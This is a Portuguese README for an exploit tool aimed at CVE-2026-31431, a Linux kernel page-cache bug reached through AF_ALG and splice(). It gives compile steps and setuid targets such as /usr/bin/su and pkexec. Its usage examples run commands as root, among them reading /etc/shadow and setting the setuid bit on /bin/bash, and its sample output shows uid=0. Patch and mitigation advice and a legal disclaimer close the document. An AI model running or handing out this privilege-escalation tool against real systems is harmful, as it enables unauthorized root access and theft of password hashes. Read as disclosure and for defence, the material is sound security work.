CVE-2026-31431 Copy Fail Exploit

Ferramenta de exploração de poluição do page cache do kernel Linux, com suporte para execução de comandos não interativa.

Visão Geral da Vulnerabilidade

CVE-2026-31431 é uma vulnerabilidade de falha lógica no kernel Linux, presente na implementação do algoritmo AEAD authencesn. Através da cadeia de chamadas de sistema AF_ALG e splice(), um atacante pode escrever 4 bytes de dados no page cache de qualquer arquivo legível.

Escopo de impacto:

• Kernel Linux 4.14+ (2017 - abril de 2026)
• Quase todas as principais distribuições: Ubuntu, Debian, CentOS, RHEL, Amazon Linux, etc.

Características da vulnerabilidade:

• 100% confiável, sem necessidade de condição de corrida
• Sem necessidade de cálculo de offsets do kernel
• O mesmo binário funciona em todas as distribuições
• Não modifica arquivos em disco, apenas polui o cache de memória

Descrição dos Arquivos

.
├── copyfail_universal.c    # Código-fonte do POC principal (compilação estática, sem dependência de libc)
├── copyfail_universal      # Binário compilado
├── run_cmd.sh              # Script wrapper para execução não interativa
├── Makefile                # Script de compilação
└── README.md               # Este documento

Compilação

# Método 1: usando gcc e ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# Método 2: usando Makefile
make

Como Usar

Shell Root Interativo

./copyfail_universal

Execução de Comandos Não Interativa

# Método 1: usando o script wrapper (recomendado)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# Método 2: via pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# Método 3: usando variável de ambiente
CMD='whoami' ./copyfail_universal

Especificando Outro Alvo setuid

# O alvo padrão é /usr/bin/su
# Outros alvos podem ser especificados modificando a variável path no código-fonte

# Alvos comuns disponíveis:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

Recuperação Automática

A vulnerabilidade modifica apenas o page cache, não os arquivos em disco. Execute o seguinte comando para recuperar:

sync; echo 3 > /proc/sys/vm/drop_caches

O script run_cmd.sh já possui recuperação automática integrada.

Exemplo de Saída

$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

Programas setuid Afetados

Para encontrar todos os programas setuid no sistema:

find / -perm -4000 -user root -type f 2>/dev/null

Recomendações de Correção

1. Atualize o kernel - Atualize para uma versão do kernel que inclua o patch a664bf3d603d

2. Mitigação temporária - Desative o módulo algif_aead:

   root@kitploit:~

   echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
   rmmod algif_aead 2>/dev/null || true
   

3. Ambientes de contêiner - Use seccomp para bloquear a criação de sockets AF_ALG

Detalhes Técnicos

• Tipo de vulnerabilidade: Escrita fora dos limites no page cache
• Causa raiz: authencesn usa o buffer de destino como armazenamento temporário, escrevendo 4 bytes além do limite
• Método de exploração: Através de splice() para passar páginas do page cache para o subsistema crypto
• Capacidade de escrita: Cada operação pode escrever 4 bytes no page cache de qualquer arquivo legível

Aviso Legal

Esta ferramenta é destinada apenas para pesquisa de segurança e testes autorizados. Usar esta ferramenta para atacar sistemas não autorizados é ilegal. O usuário é o único responsável por todas as consequências legais.

Referências

• CVE-2026-31431 Write-up
• Xint Blog - Copy Fail
• GitHub - POC oficial